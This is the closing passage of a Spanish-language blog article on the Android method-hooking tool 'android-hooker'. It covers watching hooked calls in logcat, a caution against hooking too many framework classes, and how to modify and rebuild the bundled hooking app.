  • En este momento ya podemos seleccionar en android-hooker la opción Watch logcat y reiniciar el dispositivo para que se aplique el plugin. En cuanto los métodos hookeados sean llamados comenzaremos a verlos reflejados en pantalla:


Dejo también un vídeo para que lo podáis ver en marcha:

Detalles finales

En cuanto al uso de la tool en sí, como toda herramienta "automatizada", recomiendo hacer un uso controlado. Si decidís hookear clases a diestro y siniestro, especialmente sobre clases muy básicas del framework de Android, posiblemente dejéis colgado el dispositivo al generar una actividad elevada sobre el logcat. Recordar, en la mesura está la maestría ;) .

Y en cuanto al código:
  • Si queréis hacer vuestros propios ajustes sobre la app Android encargada del hooking, el código relevante lo tenéis en la clase LoggerPlugin
  • Si queréis modificar la app Android, tendréis que comprimir todo el directorio de la app en un zip con nombre substrateApp y guardarlo en el directorio de resources (podéis darle un vistazo al zip que hay ahora para haceros una idea). Con esto el siguiente empaquetado que hagáis con "mvn clean assembly:assembly" usará vuestra app modificada.
Artículo cortesía de Miguel Ángel García
Leer más...